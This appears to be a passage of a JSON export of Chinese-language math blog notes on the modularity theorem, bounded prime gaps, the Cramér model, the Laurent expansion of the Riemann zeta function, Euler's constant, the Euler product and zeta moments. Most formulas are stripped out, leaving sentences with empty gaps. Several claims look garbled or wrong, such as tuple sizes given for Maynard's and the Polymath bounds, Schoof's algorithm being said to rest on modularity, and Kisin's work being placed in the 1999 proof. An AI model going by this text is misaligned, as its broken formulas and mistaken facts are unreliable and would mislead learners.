日，谷山丰在即将赴普林斯顿高等研究院任职并准备结婚之际，因抑郁症自杀身亡，年仅 31 岁。他在遗嘱中详细说明了所授课程的进度，并留下了关于猜想的数学笔记，字里行间透露出对数学的执着与对未来的迷茫。一个月后，其未婚妻铃木美沙子也追随他而去，留下 \"我们承诺永不分离\" 的字条。这对数学界的双重打击使得谷山 - 志村猜想的研究一度中断。 1960 年代，法国数学家安德烈・韦伊重新审视了这一猜想，并将其推广为更严格的数学命题，后世遂称之为谷山 - 志村 - 韦伊猜想。与此同时，罗伯特・朗兰兹提出了宏伟的 \"朗兰兹纲领\"，预言所有数论对象均可通过自守形式（模形式的推广）统一描述，而谷山 - 志村猜想正是这一纲领在二维情形下的关键特例。志村五郎则于 1964 年移居美国，在普林斯顿大学继续深化对模形式与椭圆曲线关系的研究，为后来的证明奠定了基础。 基本概念与定理表述椭圆曲线与模形式的定义椭圆曲线是定义在数域上的光滑射影曲线，其亏格为 1 且具有至少一个有理点。在有理数域 上，椭圆曲线可由 Weierstrass 方程表示： 椭圆曲线的核心不变量包括判别式 （刻画奇点性质）和 - 不变量（决定曲线的同构类）。对于素数 ，通过模 约化可得到有限域 上的曲线 ，其点数 满足 Hasse 不等式 。 模形式是上半平面 上的全纯函数，满足对模群 的子群 （水平 ）的权 变换性质： 且在尖点处（如 ）全纯。模形式的 Fourier 展开形如 （尖点形式），其中 ，系数 蕴含深刻的数论信息。 模性的精确刻画模性定理的核心在于建立椭圆曲线与模形式之间的 L- 函数对应。对 上的椭圆曲线 ，其 Hasse-Weil L- 函数定义为 Euler 乘积： 其中 称为 Frobenius 迹。而权为 2、水平为 的尖点形式 的 L- 函数为： （ 时 为平凡特征）。 模性定理断言：有理数域上的椭圆曲线 是模的，当且仅当存在权为 2 的模形式 ，使得 对所有 成立。这一对应等价于椭圆曲线的 Frobenius 迹序列 与模形式的 Fourier 系数序列完全一致。 与费马大定理的关联1984 年，德国数学家 Gerhard Frey 揭示了模性猜想与费马大定理之间的惊人联系。假设费马方程 存在非平凡整数解（ 为素数），可构造一条特殊的椭圆曲线，称为 Frey 曲线： Frey 证明这条曲线具有极端异常的性质：其判别式 ，导子 ，但对应的 Galois 表示不满足模形式的水平约化条件。这意味着若 Frey 曲线存在，则它是非模的，与谷山 - 志村猜想矛盾。 1986 年，Kenneth Ribet 进一步证明了水平提升定理：若椭圆曲线 对应的 Galois 表示在素数 处满足特定条件，则其模形式的水平可降低至 。将此应用于 Frey 曲线，可推知其对应的模形式水平应为 1，但权为 2、水平为 1 的尖点形式空间维数为 0（由模曲线亏格公式 计算， 时 ），这一矛盾表明费马大定理的反例不可能存在。 证明框架与关键技术怀尔斯的半稳定情形证明（1994）安德鲁・怀尔斯于 1986 年了解到 Ribet 的结果后，意识到证明谷山 - 志村猜想的半稳定情形即可解决费马大定理。他选择秘密工作，回避外界干扰，历时七年构建了完整的证明框架，其核心是伽罗瓦表示的形变理论与 Hecke 代数的构造。 伽罗瓦表示与形变函子椭圆曲线 的 - 进 Tate 模 是秩为 2 的 - 模，诱导 Galois 表示 ，其中 。怀尔斯考虑的形变问题是：给定剩余表示 ，分类所有满足局部条件（如在 外非分歧、半稳定）的提升 （ 为 Artin 局部环）。 形变函子 将环 映射到提升的等价类集合，其可表性由 Schlessinger 判别法保证：若 绝对不可约且满足 H1-H4 条件，则存在泛形变环 使得 。怀尔斯证明对 ，半稳定椭圆曲线的形变函子可由 表出，且 具有有限 - 秩。 Hecke 代数与 R = T 定理另一方面，模曲线 的雅可比簇 的 - 进上同调 上存在 Hecke 算子作用，生成 Hecke 代数 。每个特征形式 对应 的极大理想 ，局部化 给出模性伽罗瓦表示的参数化。 怀尔斯的核心突破在于证明 R = T 定理：形变环 与 Hecke 代数 同构。这一同构建立了 \"几何形变\" 与 \"模性形变\" 之间的一一对应，表明所有满足局部条件的伽罗瓦表示都来自模形式。证明的关键技术是 Taylor-Wiles patching：通过选取适当的辅助素数集合 ，构造一族环 和 ，证明当 增长时， 且两者均为完全交环，从而在极限情形下得到 。 3-5 切换技巧为应用 Langlands-Tunnell 定理（断言模 3 不可约表示是模的），怀尔斯需要椭圆曲线的模 3 表示 不可约。若 可约，则转而考虑模 5 表示 。通过分析模曲线 的有理点，证明此时 必不可约，从而可应用 Langlands-Tunnell 定理。这种在不同素数间切换的策略称为 3-5 切换，成功规避了表示可约性的障碍。 完整证明的完成（1999）怀尔斯 1993 年发布的证明存在一个关键漏洞：在处理非极小形变时，Hecke 代数的自由性证明不完整。1994 年，他与 Richard Taylor 合作修补了这一缺陷，最终在《Annals of Mathematics》发表两篇论文，证明了半稳定椭圆曲线的模性。 完整模性定理的证明由 Breuil、Conrad、Diamond 和 Taylor 完成，他们通过以下步骤推广怀尔斯的结果：首先，去除半稳定条件，引入潜在半稳定伽罗瓦表示的概念，允许曲线在有限素数处有加法约化；其次，p 进霍奇理论，利用 Fontaine 的理论刻画局部伽罗瓦表示的 Hodge-Tate 重量，建立更弱的形变条件；最后，Kisin 的模性提升，采用有限平坦群概形分类，证明对任意素数 ，模 伽罗瓦表示的形变均可提升为模性表示。 这一工作最终于 1999 年发表，标志着谷山 - 志村猜想成为定理，彻底解决了有理数域上椭圆曲线的模性问题。 数学意义与后续发展对数论的深远影响模性定理的证明为朗兰兹纲领提供了首个非交换几何的实例验证，极大推动了自守形式与伽罗瓦表示对应的研究。它揭示了数论对象之间意想不到的联系，促使数学家重新审视 \"数学统一性\" 的哲学思想。 在具体问题层面，模性定理直接导致了 BSD 猜想研究的突破。BSD 猜想断言椭圆曲线的解析秩（L 函数在 处零点的阶）等于代数秩（有理点群的秩）。由于模性定理保证了 L 函数的解析延拓，BSD 猜想的许多特殊情形得以证明，如 Rankin-Selberg 方法对二次扭曲线的应用。 模性提升定理的推广怀尔斯的形变理论方法被广泛推广，形成了模性提升定理的一般框架：若伽罗瓦表示 在素数 处满足特定局部条件（如 crystalline、potentially semi-stable）且模 约化是模的，则 本身是模的。这一结果成为研究高维伽罗瓦表示的标准工具，例如 Serre 模性猜想（Khare-Wintenberger, 2009）断言任意二维不可约奇伽罗瓦表示是模的；全实域上的模性（Freitas-Le Hung-Siksek, 2015）表明实二次域上的椭圆曲线是模的。 计算数论的应用模性定理催生了椭圆曲线算法的革命性进展。例如，Schoof 算法利用模性对应计算椭圆曲线在有限域上的点数，复杂度为 ，是椭圆曲线密码学的基础工具。模性还为整数分解提供了新思路，如 Lenstra 椭圆曲线算法（ECM）的设计灵感部分源于椭圆曲线的模性性质。 结语：跨越世纪的数学桥梁模性定理的故事远不止是一个数学命题的证明。从谷山丰在战后东京的孤独探索，到怀尔斯在普林斯顿阁楼的七年闭关，再到全球数学家协作完成最终证明，这一历程展现了人类理性思维的极限与韧性。\"谷山的猜想看似遥不可及，但数学的奇妙之处在于，看似无关的领域往往通过深刻的隐藏结构连接在一起。\" 今天，模性定理已成为数论研究的基本工具，其思想方法渗透到代数几何、表示论、数学物理等多个领域。它不仅证明了费马大定理这一 \"世纪难题\"，更重要的是建立了椭圆曲线与模形式之间的永恒桥梁，为未来数学探索开辟了无限可能。当我们回望这段历史，看到的不仅是定理本身的光辉，更是一代代数学家追求真理的执着身影，他们的故事，正是数学史上最动人的篇章。"},{"title":"","date":"2026-01-17T08:07:00.000Z","updated":"2026-01-17T08:10:00.000Z","comments":true,"path":"notes/Zeta/116.html","permalink":"https://blog.mhuig.top/notes/Zeta/116","excerpt":"","text":"相邻素数间的有界间隔 相邻素数间的有界间隔 相邻素数间的间隔问题是数论领域的核心课题之一，其研究可追溯至 19 世纪。素数定理揭示了素数平均间隔随自然对数增长，即 ，但素数的局部分布是否存在有界间隔长期悬而未决。2013 年，张益唐在《数学年刊》发表的论文首次证明存在无穷多对间距小于 7000 万的素数对，突破性地确立了间隔的有限性，随后 Maynard 通过多维筛法将上界降至 600，Polymath 项目进一步优化至 246，这些成果共同构成了 21 世纪解析数论的里程碑。 历史背景与问题演进素数分布的研究始于欧拉对 函数的探索，而相邻素数间隔的系统研究则从 19 世纪开始。1849 年，Dirichlet 证明等差数列中有无穷多素数，为间隔问题奠定基础；1921 年，Hardy 和 Littlewood 提出孪生素数猜想的渐进公式，推测间距为 2 的素数对数量约为 （其中 ）。20 世纪中叶，Erdős 证明存在无穷多素数对间距小于 ，但未给出常数 的具体值。 2005 年，Goldston、Pintz 和 Yildirim（GPY）提出创新筛法，证明当素数分布阶满足 时， 。然而其结果依赖未被证明的 Elliott-Halberstam 猜想，无法无条件成立。这一局限激发了后续突破：张益唐通过引入 “光滑模数” 改良 Bombieri-Vinogradov 定理，将分布阶提升至 ，从而无条件证明有界间隔存在；Maynard 则通过多维权重函数重构筛法，显著降低了间隔上界。 核心定义与数学框架基本概念相邻素数间隔：设 为第 个素数，则间隔 。研究目标是证明 。 可容许元组：整数集 称为可容许的，若对任意素数 ，存在整数 使得 对所有 成立。例如 是可容许元组（模 2 时取 ）。 素数分布阶：衡量素数在等差数列中的分布均匀性，定义为最大 使得 ，其中 表示模 余 的素数计数函数。 GPY 筛法框架GPY 方法通过构造筛函数估计区间 中满足 同时为素数的 的数量。核心筛函数为： 其中 为 Selberg 参数。通过选择 （ 为多项式， ），可将问题转化为积分不等式的优化。 张益唐的突破：光滑筛法与七千万界张益唐的关键创新是对模数引入 “光滑性” 限制，即仅考虑素因子均小于 的模数（ ）。这一改良使得 Bombieri-Vinogradov 定理的误差项可被有效控制，从而将素数分布阶提升至 。 技术路线光滑模数构造：定义 ，限制筛函数中的 满足 （即 为 光滑数）。此时筛函数改写为： 其他 其中 为可容许元组大小， 。 主项与误差估计：通过 Perron 公式和复变积分，张益唐证明主项满足： 主项 其中 为元组 模 的不同剩余类数量。误差项则利用光滑模数的算术性质控制在 （ ）。 数值优化：选取 及可容许元组 ，结合素数定理的 Rosser-Schoenfeld 估计： 最终得到存在无穷多素数对间距小于 。 Maynard 的多维筛法与 600 界Maynard 在 2014 年独立提出更灵活的权重函数构造，将 GPY 的标量参数推广为向量，通过变分法优化得到更紧的上界。其核心思想是将问题转化为积分算子的特征值问题，通过数值计算实现突破。 变分问题构建Maynard 定义对称函数 满足 且 时非零，并构造泛函： 目标是最大化 。通过假设 （径向对称），问题简化为单变量优化： 解得最优 ，其中 ，此时比值为 。 数值计算与优化Maynard 通过多项式逼近构造 ，将问题转化为矩阵特征值问题。对 ，计算得到最大特征值 ，结合可行元组 （共 105 个元素），最终证明存在无穷多素数对间距小于 600。 Polymath 项目与 246 界2014 年启动的 Polymath8 项目结合张益唐的光滑模数思想与 Maynard 的多维筛法，通过集体协作优化参数。关键改进包括：元组优化：构造更密集的可容许元组，如包含 105 个元素的最优间隔序列。误差项精细估计：结合最新的素数分布结果，将 Bombieri-Vinogradov 定理的适用范围扩展至 。计算机辅助计算：通过大规模数值模拟验证特征值优化的稳定性。 最终结果将有界间隔上界降至 246，这是当前无条件证明的最佳结果。若假设 Elliott-Halberstam 猜想成立，该上界可进一步降至 12。 应用与未解决问题相邻素数有界间隔的证明不仅为孪生素数猜想提供了弱形式的解答，其方法已拓展至其他数论问题：算术级数中的素数间隔：Maynard-Tao 方法可推广至证明存在无穷多素数在给定公差的等差数列中，间距有界。高维素数簇：类似技术用于证明存在无穷多包含 个素数的 维整点集。函数域上的类比：在有限域函数域中，已有类似结果证明存在有界间隔的素多项式。 主要未解决问题包括：最终上界改进能否将 246 降至更小的常数（如 16 或 12）。Elliott-Halberstam 猜想的证明将直接导致间隔上界降至 12，但目前仅有部分情形被验证。孪生素数猜想是否存在无穷多间距为 2 的素数对。现有方法因筛法奇偶性障碍难以突破这一终极目标。 相邻素数有界间隔的研究历程展现了数学思维的突破与协作的力量。从 GPY 的理论框架到张益唐的关键创新，再到 Maynard 的方法革新与 Polymath 的集体优化，每一步进展都推动着人类对素数分布规律的理解。尽管距离孪生素数猜想的完全解决仍有距离，但这些成果已深刻改变了解析数论的研究格局，为未来突破奠定了基础。"},{"title":"","date":"2026-01-19T07:07:00.000Z","updated":"2026-01-19T07:10:00.000Z","comments":true,"path":"notes/Zeta/117.html","permalink":"https://blog.mhuig.top/notes/Zeta/117","excerpt":"","text":"克拉梅尔模型与孪生素数猜想 克拉梅尔模型与孪生素数猜想 数论中素数的分布规律一直是数学家探索的核心问题，其中孪生素数猜想与克拉梅尔模型分别代表了素数研究中确定性与随机性的深刻联系。孪生素数猜想断言存在无穷多对相差为 2 的素数对（如 (3,5) 、 (5,7) 等），而克拉梅尔模型则通过将素数视为随机事件，为理解素数分布提供了概率框架。二者共同揭示了素数看似无序背后隐藏的统计规律，成为现代数论的重要研究方向。 历史背景与问题起源孪生素数的概念可追溯至古希腊时期，但系统性研究始于 19 世纪。1849 年，波林那克提出更一般的猜想：对任意偶数 ，存在无穷多对相差为 的素数对，其中 的情形即为孪生素数猜想。20 世纪初，素数定理的证明为素数分布提供了渐近描述 不超过 的素数个数 ，暗示素数平均间距为 。然而，素数的实际间距存在显著波动，既有如孪生素数的小间距，也有远超平均值的大间距，这种矛盾促使数学家寻找更精细的模型。 1936 年，瑞典数学家哈拉尔德・克拉梅尔（Harald Cramér）提出了革命性的概率模型：将素数的出现视为独立随机事件，其中整数 为素数的概率近似为 ，并考虑小素数整除性带来的修正。这一模型成功解释了素数分布的诸多统计特征，例如素数间距的指数分布，并为孪生素数猜想提供了定量预测的框架。 基本定义与核心概念孪生素数与相关猜想孪生素数是指满足 也为素数的素数 ，其数学表述为：存在无穷多个素数 ，使得 亦为素数。这一猜想的定量形式由哈代与李特尔伍德于 1923 年提出，即孪生素数猜想： 其中 表示不超过 的孪生素数对个数， 为孪生素数常数： 该常数体现了小素数整除性对孪生素数分布的修正，例如排除偶素数对的贡献。 克拉梅尔模型的数学表述克拉梅尔模型的核心假设是：素数的分布可近似为独立随机过程，其中整数 被选中（即成为素数）的概率为 ，且不同整数的选择相互独立。这一模型虽忽略了素数的确定性结构（如素数的无小因子特性），却能定量描述素数分布的统计规律。 对于素数间距，克拉梅尔模型预测：相邻素数 与 的间距 满足渐近分布： 即间距不超过 的素数对比例为 。 克拉梅尔模型对孪生素数的推导基本概率框架在克拉梅尔模型中，整数 与 同时为素数的概率可近似为两事件独立的概率乘积。考虑到素数的密度为 ，则： 和均为素数 然而，这一初步估计未考虑小素数的整除性。例如，当 时， 与 同为奇数的概率为 （因偶数不可能为素数，除 2 外）；对于奇素数 ， 与 模 不同余于 0 的概率为 （排除 或 的情形）。 引入修正因子对所有素数 引入修正因子，得到孪生素数密度的精确表达式。对于 ，修正因子为 ；对于 ，修正因子为 （分母 为独立事件的概率归一化项）。综合所有素数的贡献，得到孪生素数常数 ： 化简后可得： 这一常数体现了小素数对孪生素数分布的抑制作用。 孪生素数猜想的渐近公式结合克拉梅尔模型的概率密度与修正因子，哈代 - 李特尔伍德猜想的渐近公式可表示为： 其中积分项 （通过分部积分可得），故孪生素数对的数量随 增长的速度为 。 克拉梅尔模型的局限性与改进模型缺陷：小素数相关性克拉梅尔模型假设素数的出现是独立事件，但实际素数间存在非平凡关联。例如，模型预测间距为 1 的素数对（如 (2,3) ）与间距为 2 的孪生素数数量相当，但事实上间距为 1 的素数对仅有 1 对，而孪生素数则有无数个（假设猜想成立）。这一矛盾源于模型未考虑素数对小模的同余约束。 格兰维尔修正模型1995 年，安德鲁・格兰维尔（Andrew Granville）提出修正模型，引入素数的 “局部依赖性”：素数的分布不仅受其大小影响，还与前一个素数的位置相关。修正后的模型预测最大素数间距的下界为 ，而非克拉梅尔原猜想的 。 孪生素数猜想的研究进展筛法与有界间距定理尽管孪生素数猜想尚未完全证明，但筛法技术的发展取得了突破性进展。2005 年，Goldston Pintz Yıldırım（GPY）方法证明：对任意 ，存在无穷多素数对间距小于 。2013 年，张益唐进一步证明存在无穷多素数对间距不超过 7000 万，随后 Polymath 项目将这一界降至 246，为孪生素数猜想的最终证明奠定了基础。 陈景润定理1966 年，陈景润利用加权筛法证明：存在无穷多个素数 ，使得 为 “殆素数”（即最多含两个素因子的整数）。这一结果被视为孪生素数猜想的弱化形式，其证明融合了解析数论与组合方法，成为筛法应用的典范。 克拉梅尔模型的应用与启示克拉梅尔模型不仅为孪生素数猜想提供了启发式推导，还广泛应用于素数分布的其他问题。例如，模型预测素数最大间距 ，这一猜想虽未被证明，但数值验证显示其与实际数据吻合良好。此外，模型的概率思想推动了随机筛法、超图覆盖等技术的发展，成为连接数论与概率论的桥梁。 结论与展望克拉梅尔模型通过将素数视为随机过程，为孪生素数猜想提供了定量预测的框架，但其忽略的素数内在关联性提示我们：素数的分布是确定性与随机性的统一。未来的研究可能需要融合解析数论、组合数学与概率方法，例如通过改进筛法处理素数的相关性，或利用黎曼 函数零点分布揭示素数的深层结构。孪生素数猜想的解决，或将依赖于对素数 “局部随机性” 与 “全局确定性” 之间平衡的全新理解 这不仅是数论的突破，更是人类对整数本质认知的深化。"},{"title":"","date":"2026-01-20T23:07:00.000Z","updated":"2026-01-20T23:10:00.000Z","comments":true,"path":"notes/Zeta/118.html","permalink":"https://blog.mhuig.top/notes/Zeta/118","excerpt":"","text":"Zeta 函数的洛朗展开 Zeta 函数的洛朗展开 黎曼 Zeta 函数 在复平面上具有唯一的奇点 ，且该奇点为一阶极点。其洛朗展开式作为连接解析数论与复分析的桥梁，不仅揭示了函数在极点附近的局部行为，更通过展开系数，即 Stieltjes 常数，建立了数论常数与分析学的深层联系。 历史背景与问题提出19 世纪中叶，黎曼在研究素数分布问题时引入了 Zeta 函数 （其中 ），并证明了其在全复平面的解析延拓性，仅在 处留下一个留数为 1 的简单极点。1885 年，荷兰数学家 Thomas Stieltjes 首次系统研究了 在 附近的展开行为，发现展开式中除主项 外，其余系数构成了一系列新的常数，后世称之为 Stieltjes 常数 。这些常数的研究至今仍是数论中的核心课题，例如 即为著名的欧拉 - 马歇罗尼常数 ，而高阶常数 的算术性质与超越性问题尚未完全解决。 洛朗展开的定义与基本形式在复分析中，洛朗级数是泰勒级数的推广，适用于函数在孤立奇点附近的展开。对于 ，其在 处的洛朗展开式可表示为： 其中， 称为 Stieltjes 常数，其定义为展开式中 项的系数与 的乘积。该展开式的收敛域为 ，覆盖了除 外的整个复平面。 展开式的推导方法方法一：积分表示与分部积分法考虑 的积分表示（对 成立）： 通过变量替换 ，可将积分分解为奇异部分与正则部分。对奇异部分 展开为幂级数并逐项积分，结合 在 附近的泰勒展开 ，可分离出主项 。对正则部分 ，在 处直接展开为泰勒级数，最终合并得到洛朗展开式。 方法二：欧拉 - 麦克劳林求和公式欧拉 - 麦克劳林公式提供了级数与积分的联系：对于函数 ，有 取 ，当 时，对 有 。其中 ，而后续项构成关于 的幂级数，通过比较系数可直接得到 Stieltjes 常数的表达式。 方法三：Stieltjes 常数的极限定义Stieltjes 常数 可通过以下极限定义： 该定义直接揭示了 与调和级数的对数修正项之间的关系。例如，当 时，上式退化为欧拉常数的经典定义 ，其中 为调和数。 Stieltjes 常数的性质与计算解析延拓与导数关系洛朗展开式两侧对 求导 次后令 ，可得 Stieltjes 常数与 导数的关系： 该式表明 是 在 处正则部分的 阶导数与 的乘积。 特殊值与渐近行为特殊值包括 （欧拉常数），以及 （一阶 Stieltjes 常数），而对于大 ， 呈现复杂的振荡行为，其绝对值随 增长，但具体渐近公式尚未完全明确。 数值计算方法Stieltjes 常数的数值计算依赖于高精度级数或积分表示。例如，利用展开式 可通过数值积分计算 。对于高阶常数，需结合加速收敛技术（如 Wynn-ε 算法）以提高精度。 应用与推广数论中的应用Stieltjes 常数在素数定理的余项估计中扮演关键角色。例如，素数计数函数 的渐近展开式为 其中 为对数积分函数，而 的出现即源于 的洛朗展开。 多维推广：多重 Zeta 函数的洛朗展开多重 Zeta 函数 在整数点 处的洛朗展开可推广单变量情形，其系数涉及多重 Stieltjes 常数 。例如，当 且 时，展开式包含交叉项 ，其中 为伯努利数。 结论与展望Zeta 函数的洛朗展开不仅是复分析技巧的典范，更通过 Stieltjes 常数构建了分析学与数论的交叉桥梁。尽管已有大量研究，高阶 Stieltjes 常数的算术性质（如超越性）、多重 Zeta 函数展开的系统性理论，以及量子场论中的应用（如费曼图计算）仍是未来值得探索的方向。正如黎曼 Zeta 函数本身连接了素数分布与复平面的零点，其洛朗展开的每一项都可能蕴含着尚未被揭示的数学奥秘，这些常数究竟是偶然的数值巧合，还是某种深层数学结构的外在表现，这一问题将持续激发研究者的好奇心。"},{"title":"","date":"2026-01-21T01:07:00.000Z","updated":"2026-01-21T01:10:00.000Z","comments":true,"path":"notes/Zeta/119.html","permalink":"https://blog.mhuig.top/notes/Zeta/119","excerpt":"","text":"Zeta 函数与欧拉常数的关系 Zeta 函数与欧拉常数的关系 背景与历史欧拉常数 是数学中一个重要的常数，其数值约为 。它最早由瑞士数学家莱昂哈德・欧拉（Leonhard Euler）在 1734 年研究调和级数时引入。当时，欧拉注意到调和级数 的部分和与自然对数 之间存在一个有限的差值，这个差值的极限就是 。与此同时，欧拉还研究了后来以他名字命名的 函数 ，并发现当 时， 与 的差也收敛到同一个常数 ，这建立了 函数与欧拉常数之间的深刻联系。 定义与基本性质欧拉常数的定义欧拉常数 有多种等价定义，其中最经典的是通过调和级数与自然对数的差值给出： 其中 是第 个调和数。 Riemann Zeta 函数的定义Riemann 函数 在 时定义为： 当 时，该级数发散（即为调和级数），但在 时， 具有渐近展开 ，因此欧拉常数也可以表示为： 这就是 函数与欧拉常数之间的核心关系。 推导过程推导 1：从调和级数到 Zeta 函数的极限关系我们从 函数的定义出发，当 时： 考虑积分 ，由于当 时， ，因此有： 对 从 到 求和，得到： 即： 移项整理后，当 时， ，且余项 （对固定的 ）。令 ，可得： 推导 2：利用 Zeta 函数的导数与欧拉常数的关系考虑 函数的对数导数 。对于 ， 可以表示为欧拉乘积： 取对数得： 对 求导： 另一方面，考虑 在 附近的 Laurent 展开： 两边取对数： 展开为泰勒级数： 求导得： 整理可得： 令 ，即得： 使用方法与应用在解析数论中的应用 函数与欧拉常数的关系在解析数论中具有重要应用。例如，通过 在 附近的展开，可以研究素数分布的性质。具体来说，素数定理的证明就依赖于 在 处的奇异性分析，而欧拉常数则出现在素数计数函数 的渐近展开中： 其中 是对数积分函数。 在数值计算中的应用欧拉常数 的数值计算也常常利用 函数的性质。例如，可以通过以下公式高精度计算 ： 但直接计算该极限收敛较慢。利用 函数的展开式： 可以通过计算 在 接近 时的值来间接得到 ，这种方法通常具有更快的收敛速度。 在特殊函数中的应用欧拉常数还出现在许多特殊函数的定义和性质中，例如伽马函数 的对数导数（即双伽马函数 ）： 当 时， ，这进一步揭示了欧拉常数与 函数、 函数之间的内在联系。 总结 函数与欧拉常数 的关系不仅是数学分析中的经典结果，也为解析数论、特殊函数理论等领域提供了重要工具。通过 在 附近的渐近行为，我们建立了 这一核心等式，同时还推导出了涉及 函数导数的关系式 。这些结果不仅深化了我们对 函数奇异性的理解，也为欧拉常数的研究和应用开辟了新的途径。未来，随着数学理论的发展， 函数与欧拉常数的关系可能会在更多领域展现其重要性，例如在量子场论、随机矩阵理论等交叉学科中发挥作用。"},{"title":"","date":"2025-09-15T03:11:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/12.html","permalink":"https://blog.mhuig.top/notes/Zeta/12","excerpt":"","text":"欧拉乘积公式 欧拉乘积公式 欧拉乘积公式Bernoulli discovered Bernoulli numbers, which were originally used to solve the summation problem of equal powers. 伯努利发现了伯努利数，这些数最初是用于解决等幂和问题的。 The sum to equal powers problem refers to the formula for finding . “等幂和问题” 指的是用于计算 的公式。 Euler modified the above formula to become this zeta function: 伯努利的学生欧拉对上述公式进行了修改，从而得出了这个 Zeta 函数： Let's try to apply The Sieve of Eratosthenes mentioned earlier to the zeta function. 让我们尝试将之前提到的埃拉托斯特尼筛法应用到 Zeta 函数中。 Multiply both sides of the equation by : 将方程 两边同时乘以 ： Subtract expression from expression to get: 用表达式 减去表达式 ，得到： So the right-hand side of the equation cancels out all the multiples of 2. 因此，等式右边的所有 2 的倍数都相互抵消了。 Review The Sieve of Eratosthenes. 回顾埃拉托色尼筛法。 Multiply both sides of the equation by , denoted : 将方程两边同时乘以 ： All the multiples of 3 disappear. The first number on the right becomes 5. Continue to get: 所有 3 的倍数都消失了。右边的第一个数字变为 5。接着继续得到： Do you notice that this is similar to The Sieve of Eratosthenes? 你有没有注意到这与埃拉托色尼筛法类似呢？ In fact, the difference should be noticed first. 事实上，首先应当注意到的是这种差异。 In the Sieve of Eratosthenes, leave unchanged and subtract their integer multiples in turn. 在埃拉托斯特尼筛法中，将 这些数保持不变，然后依次减去它们的整数倍。 Now, we have removed the original prime ( ) and all its multiples from the right. 现在，我们已经将原始的质数（ ）及其所有倍数从右侧移除掉了。 If you go all the way down to a larger prime number, such as 997, you get: 如果一直向下继续找更大的质数，比如 997，那么结果就是： If you repeat this process over and over again, you get the following results: 如果你不断重复这个过程，就会得到以下结果： Divide both sides of the above formula repeatedly by each bracketed term in turn to get: 依次对上述公式两边的每个括号内的项进行除法运算，即可得到： Now all that's left of this equation is something to do with prime numbers. 现在这个等式剩下的部分就与质数有关了。 To wit: 即： The above formula is called Euler product formula. 上述公式被称为 “欧拉乘积公式”。 It's easy to see that this thing is related to prime numbers, and a bunch of products of prime numbers on the right can be converted into a bunch of summations of natural numbers on the left, which is more like a bridge to build a wonderful connection. 不难看出，这个式子与质数有关，而右边一系列的质数乘积可以转换为左边一系列的自然数求和，这就好像是搭建起一座桥梁，从而建立起一种美妙的联系。 Euler used this formula to prove that the number of prime numbers is infinite and ran away happily. 欧拉利用这个公式证明了质数的数量是无限的，然后就鸣金收兵了。 Later Riemann studied the Zeta function in detail, giving a paper \"On the Number of Primes Less Than a Given Magnitude\". In honor of Riemann's work, this function is called Riemann Zeta function. 后来，黎曼对 Zeta 函数进行了深入研究，并发表了一篇题为《论小于给定数值的素数个数》的论文。为了纪念黎曼的这一研究成果，这个函数被称为黎曼 Zeta 函数。 广义欧拉乘积公式设 为积性函数（即 对 成立），且级数 收敛，则 其中乘积遍历所有素数 。 核心条件： 积性： 对互素 成立，确保素数分解的唯一性可转化为乘积结构。 绝对收敛： ，保证无穷乘积与级数的交换性合法。 证明有限乘积展开： 对 ，考虑部分乘积 由乘性和算术基本定理， 等于所有素因子 的自然数 的 之和，即 ，其中 素因子 。 误差项估计： 记 ，其中余项 。由于 ，对任意 ，存在 使得 对 成立。 极限过程： 令 ，则 覆盖所有自然数， ，故"},{"title":"","date":"2026-01-22T09:07:00.000Z","updated":"2026-01-22T09:10:00.000Z","comments":true,"path":"notes/Zeta/120.html","permalink":"https://blog.mhuig.top/notes/Zeta/120","excerpt":"","text":"黎曼 Zeta 函数的矩问题 黎曼 Zeta 函数的矩问题 黎曼 函数的矩问题探讨的是积分 当 时的渐近行为，其中 为正实数。这一问题不仅是解析数论的核心课题，更与黎曼猜想、随机矩阵理论等领域存在深刻联系。自 20 世纪初哈代（G. H. Hardy）和利特尔伍德（J. E. Littlewood）的开创性工作以来，矩问题始终吸引着数学家的关注，其研究历程折射出数论与分析学交叉发展的轨迹。 历史背景与问题起源黎曼 函数 在临界线 上的性质是解析数论的核心研究对象。1918 年，哈代和利特尔伍德在研究 函数的零点分布时首次引入了二阶矩 ，并证明了 当 。这一结果揭示了 函数在临界线上的平均增长速度，为后续研究奠定了基础。 1940 年代，英厄姆（A. E. Ingham）将矩问题推广到更高阶情形，提出了 的渐近公式猜想。然而，除了 和部分特殊整数值外，矩的精确渐近行为长期悬而未决。直到 1970 年代，戴森（F. Dyson）和蒙哥马利（H. L. Montgomery）发现 函数零点间隔分布与随机酉矩阵特征值间隔分布的相似性，启发了 “随机矩阵理论（RMT）预测” ：对于正整数 ， 。这一猜想将数论问题与数学物理领域建立了跨学科联系，成为矩问题研究的重要转折点。 基本定义与记号黎曼 函数的定义黎曼 函数在半平面 上由欧拉乘积定义： 通过解析延拓，可将其定义域扩展到整个复平面（除 处的单极点外）。在临界线 上， 为实变量 的复值函数，其模的平方 可表示为狄利克雷卷积： 其中 为除数函数，表示 的正因子个数。 矩的定义对于实数 ，黎曼 函数的 阶矩定义为 当 为正整数时， 可通过 的幂展开转化为多重求和问题。例如，二阶矩对应 ，四阶矩对应 ，以此类推。矩问题的核心是确定 当 时的主项渐近式，即寻找常数 使得 。 低阶矩的推导二阶矩 ( )二阶矩 的推导是矩问题中最基础的情形。利用 的狄利克雷级数展开： 代入积分并交换求和与积分次序（需验证一致收敛性）： 当 时，被积函数为 1 ，积分结果为 。当 时，利用积分公式 ，其模长不超过 。因此，交叉项（ ）的贡献为 ，可忽略。对 的项求和，得到 但调和级数 发散，需更精细处理。事实上，正确的展开应考虑 函数的积分表示或利用梅林变换。最终，哈代 - 利特尔伍德证明了 其中 为欧拉 - 马歇罗尼常数。主项为 ，对应 时 RMT 预测的 次幂。 四阶矩 ( )四阶矩 的推导更为复杂，需用到 函数的卷积展开和数论中的圆法。利用 ，展开得 积分后，仅当 时积分为 ，否则为 。因此， 等价于 乘以四元组 满足 的项数之和。通过变量替换 （化为分数形式 且 ），可将问题转化为对有理分数 的求和，最终得到 这与 RMT 预测的 次幂一致。1926 年，英厄姆首次证明了 ，而精确的渐近式直到 1970 年代才由希思 - 布朗（D. R. Heath-Brown）完成。 高阶矩的随机矩阵理论预测对于整数 ，随机矩阵理论预测 ，其中 为非零常数。这一猜想的依据是 函数的 “随机性假设” ：临界线上的 函数值统计特性与随机酉矩阵特征多项式的绝对值平方相似。 随机矩阵特征多项式的矩考虑 随机酉矩阵 的特征多项式 ，其中 为特征值的辐角。其模平方的矩为 当 时，此矩的主项为 ，与 函数矩的 RMT 预测形式一致。这一平行性暗示 函数可能具有某种 “矩阵类似物” 的代数结构。 狄利克雷多项式逼近为严格化 RMT 预测，可采用狄利克雷多项式逼近 